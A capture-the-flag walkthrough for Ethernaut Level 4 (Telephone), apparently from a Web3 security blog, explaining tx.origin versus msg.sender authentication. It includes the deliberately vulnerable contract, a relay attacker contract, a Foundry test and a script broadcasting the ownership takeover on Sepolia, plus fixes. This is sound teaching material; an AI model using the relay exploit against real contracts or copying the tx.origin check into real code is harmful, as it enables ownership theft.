Ethernaut Level 4 Walkthrough: Breaking tx.origin Authentication in Solidity
In this article, we will analyze and solve Ethernaut Level 4: Telephone.
This level looks trivial: one if statement guarding ownership. But that single line hides one of the oldest access-control mistakes in Solidity, confusing tx.origin with msg.sender. Get that confusion backwards, and you don't just fail to protect a function, you open a door specifically for anyone willing to route the call through a contract.
Besides solving the challenge, we will also understand:
- The real difference between
tx.originandmsg.sender - Why this specific check does the opposite of what it looks like it does
- How a one-function intermediary contract flips
tx.origin != msg.senderto true - How to validate the exploit using Foundry
- How to defend against
tx.origin-based authentication entirely
Challenge Description
The contract stores an owner address set at deployment. It exposes one public function, changeOwner, that reassigns ownership under a specific condition.
The goal of the challenge is:
Claim ownership of the contract.
Vulnerability Classification
| Category | Value |
|---|---|
| Vulnerability: | tx.origin used for authentication |
| Root Cause: | The ownership check compares tx.origin and msg.sender backwards |
| Impact: | Any caller can take ownership through a one-line intermediary contract |
| Severity: | Critical |
| Attack Type: | tx.origin authentication bypass |
Vulnerable Contract Analysis
This is the vulnerable contract used in the challenge:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
Root Cause of the Vulnerability
The entire vulnerability lives in one condition:
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
At first glance this reads like a guard: "only proceed if something checks out." But look at what it actually permits. changeOwner sets owner = _owner precisely when tx.origin and msg.sender are different. That only happens when the call to Telephone arrives through an intermediary contract, not directly from an externally owned account (EOA).
In other words, the condition is backwards from what secure access control needs. It rejects direct EOA calls and welcomes calls relayed through any contract.
This violates a core security principle in smart contract design:
Authorization must be based on the immediate caller (
msg.sender), never on the original transaction signer (tx.origin), becausetx.originsays nothing about who is actually invoking the current call.
Understanding tx.origin vs msg.sender
To see why the check breaks, we need to separate the two globals precisely.
tx.originis the address of the externally owned account that signed and broadcast the original transaction. It stays constant across every contract call in that transaction's entire call chain.msg.senderis the address of whoever called the current function. It changes at every hop: a contract calling another contract sees itself asmsg.senderon the receiving end.- When an EOA calls
Telephone.changeOwnerdirectly,tx.originandmsg.senderare the same address. The condition is false, andownernever changes. - When an EOA calls an intermediary contract, and that contract calls
Telephone.changeOwner,tx.originis still the EOA, butmsg.senderis now the intermediary contract's address. The two differ, the condition is true, andownerchanges.
Direct call:
Player (EOA) --------------------> Telephone.changeOwner()
tx.origin = Player
msg.sender = Player
tx.origin == msg.sender -> condition false, owner unchanged
Relayed call:
Player (EOA) --> Caller (contract) --> Telephone.changeOwner()
tx.origin = Player
msg.sender = Caller
tx.origin != msg.sender -> condition true, owner changes
This exact confusion is catalogued in the Smart Contract Weakness Classification registry as SWC-115, "Authorization via tx.origin." It is one of the earliest documented Solidity anti-patterns, precisely because it is easy to write and looks correct on a quick read.
Why tx.origin-Based Checks Are Dangerous
The Telephone level demonstrates the mechanical bypass, but the same primitive has a second, arguably worse consequence in production code: phishing.
- If a contract authorizes actions based on
tx.origin == owner, a malicious contract can trick the real owner into calling it. That malicious contract then calls the victim contract on the owner's behalf, andtx.originstill resolves to the owner, since it never changes across the call chain. - This means
tx.originchecks are not just bypassable, they can be actively weaponized against a legitimate user who signs a single transaction with a wallet that has privileged access somewhere else. msg.senderhas no equivalent weakness for this purpose: it always reflects the immediate caller, so a contract checkingmsg.sender == ownercorrectly rejects any call that did not come directly from the owner's own address.
The safe pattern is simple: authentication and authorization checks should use msg.sender, full stop. tx.origin has legitimate, narrow uses (some legacy patterns check it to reject contract callers entirely), but it should never be treated as proof of who is requesting an action.
Attack Strategy
Now that we understand the vulnerability, we can design the exploit.
We know that:
changeOwneronly succeeds whentx.origin != msg.sender.- Calling
changeOwnerdirectly from our player account keeps both values identical, so a direct call always fails to change ownership. - Any contract that calls
changeOwneron our behalf becomes themsg.senderseen byTelephone, whiletx.originremains our player address. - We just need one function on an intermediary contract that forwards the call.
Therefore, our strategy will be:
- Deploy a minimal contract with a single function that calls
Telephone.changeOwner(player). - Call that function from our player account.
- Inside
Telephone,msg.senderis the intermediary contract andtx.originis our player, so the condition is true andowneris set to our player address. - The level is solved.
Attacker Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Telephone} from "src/levels/Telephone.sol";
contract TelephoneCaller {
function attack(address _target, address _newOwner) public {
Telephone(_target).changeOwner(_newOwner);
}
}
We import Telephone directly here instead of declaring a minimal interface, since the level's pragma (^0.8.0) is fully compatible with the rest of the toolchain and there is no version friction to work around.
attack takes the target instance and the address that should become the new owner, then calls changeOwner on the target. The only thing that matters for the exploit is that this call originates from TelephoneCaller, not from an EOA directly.
How the Exploit Works
First, we deploy TelephoneCaller, a contract that does nothing except forward a call to Telephone.changeOwner.
Then, from our player account, we call TelephoneCaller.attack(instance, player). Internally, this triggers Telephone.changeOwner(player).
Because that internal call originates from TelephoneCaller and not from our player account directly, msg.sender inside Telephone is the caller contract's address, while tx.origin remains our player's address throughout the entire chain. The condition tx.origin != msg.sender evaluates to true, and owner is set to our player address.
No storage manipulation, no funds, no timing. One relayed call is enough.
Validating the Exploit with Foundry
After cloning the Ethernaut repository locally, we can create a Foundry test to validate the exploit.
// SPDX-License-Identifier: MIT
// Telephone_L4.t.sol
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {Telephone} from "src/levels/Telephone.sol";
import {TelephoneFactory} from "src/levels/TelephoneFactory.sol";
import {TelephoneCaller} from "test/Solutions/Attacks/TelephoneCaller.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";
contract TestTelephone_L4 is Test, Utils {
Ethernaut ethernaut;
Telephone instance;
address payable owner;
address payable player;
function setUp() public {
address payable[] memory users = createUsers(2);
owner = users[0];
vm.label(owner, "Owner");
player = users[1];
vm.label(player, "Player");
vm.startPrank(owner);
ethernaut = getEthernautWithStatsProxy(owner);
TelephoneFactory factory = new TelephoneFactory();
ethernaut.registerLevel(Level(address(factory)));
vm.stopPrank();
vm.startPrank(player);
instance = Telephone(payable(createLevelInstance(ethernaut, Level(address(factory)), 0)));
vm.stopPrank();
}
function testInit() public {
vm.prank(player);
assertFalse(submitLevelInstance(ethernaut, address(instance)));
}
function testSolve() public {
vm.startPrank(player);
// player is tx.origin here; the caller contract becomes msg.sender
// inside Telephone, so tx.origin != msg.sender holds and owner flips.
TelephoneCaller caller = new TelephoneCaller();
caller.attack(address(instance), player);
assertEq(instance.owner(), player);
assertTrue(submitLevelInstance(ethernaut, address(instance)));
vm.stopPrank();
}
}
Running the Test
Run the test against a Sepolia fork:
source .env
forge test --mp test/Solutions/Telephone_L4.t.sol --mt testSolve --fork-url $SEPOLIA_RPC -vvv
Once executed, we can verify that owner now matches our player address and that the level accepts the submission.
Solving the Level on Sepolia
Now we will create a script to execute the exploit directly against the Ethernaut instance.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script} from "forge-std/Script.sol";
import {TelephoneCaller} from "test/Solutions/Attacks/TelephoneCaller.sol";
import {console} from "forge-std/console.sol";
contract TelephoneScript is Script {
address public target;
TelephoneCaller public caller;
function setUp() public {
target = payable("0xYourEthernautInstance");
}
function run() public {
uint256 pk = vm.envUint("PK"); // Private Key from .env to sign the Tx
address player = vm.addr(pk);
vm.startBroadcast(pk);
caller = new TelephoneCaller();
caller.attack(target, player);
console.log("Caller contract:", address(caller));
console.log("New owner:", player);
vm.stopBroadcast();
}
}
Running the Script
First, execute the script locally:
forge script scripts/Telephone.s.sol --rpc-url $SEPOLIA_RPC
If everything works correctly, broadcast it to Sepolia:
forge script scripts/Telephone.s.sol --rpc-url $SEPOLIA_RPC --broadcast \
--interactives 1 -vvv
Once the transaction confirms, owner on the instance matches your player address. You just need to submit the instance on the Ethernaut website.
How to Prevent This Vulnerability
The fix is not a smarter condition, it is removing tx.origin from any authorization logic entirely.
Use msg.sender for authorization
// Vulnerable
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
// Fixed
function changeOwner(address _owner) public {
require(msg.sender == owner, "Not owner");
owner = _owner;
}
msg.sender == owner correctly rejects any call that did not come directly from the current owner's own address, contract or not, and cannot be tricked by routing the call through an intermediary.
Reserve tx.origin for its narrow legitimate uses
If a design genuinely needs to detect whether a call originated from an EOA versus a contract, that is a different question from authorization, and should never be the deciding factor for who can change privileged state.
Use audited access-control primitives
Libraries like OpenZeppelin's Ownable implement the msg.sender check correctly and consistently, removing the temptation to hand-roll ownership logic per contract.
import "@openzeppelin/contracts/access/Ownable.sol";
contract Telephone is Ownable {
function changeOwner(address _owner) public onlyOwner {
transferOwnership(_owner);
}
}
Lessons Learned
This challenge shows that a one-line condition can be exactly backwards and still compile, deploy, and look intentional.
Key lessons from this level:
tx.originidentifies who signed the original transaction, never who is calling the current function.msg.senderis the only correct signal for "who is calling me right now."- Any check written around
tx.origin != msg.sender(or the inverse) deserves scrutiny: it is reasoning about contract-mediation, not identity. tx.origin-based authorization is also a phishing vector against real users, not just a CTF trick.- SWC-115 exists precisely because this mistake keeps showing up in production code.
Conclusion
In this challenge, we exploited a tx.origin authentication check that only grants access when the call is relayed through a contract, the exact opposite of a safe access-control pattern.
We built a one-function intermediary contract that calls changeOwner on our behalf, making tx.origin and msg.sender differ and flipping ownership to our player address.
This level is an excellent introduction to:
- The real distinction between
tx.originandmsg.sender - Why
tx.origin-based checks fail in both directions, bypassable and phishable - Building a minimal relay contract to demonstrate the bypass
- Real exploit methodology validated with Foundry
- Correct ownership patterns using
msg.senderand audited libraries like OpenZeppelin'sOwnable
You can find more Web3 security content on our blog.
If you are looking for a security audit for your protocol, feel free to contact us through our website seclat.xyz.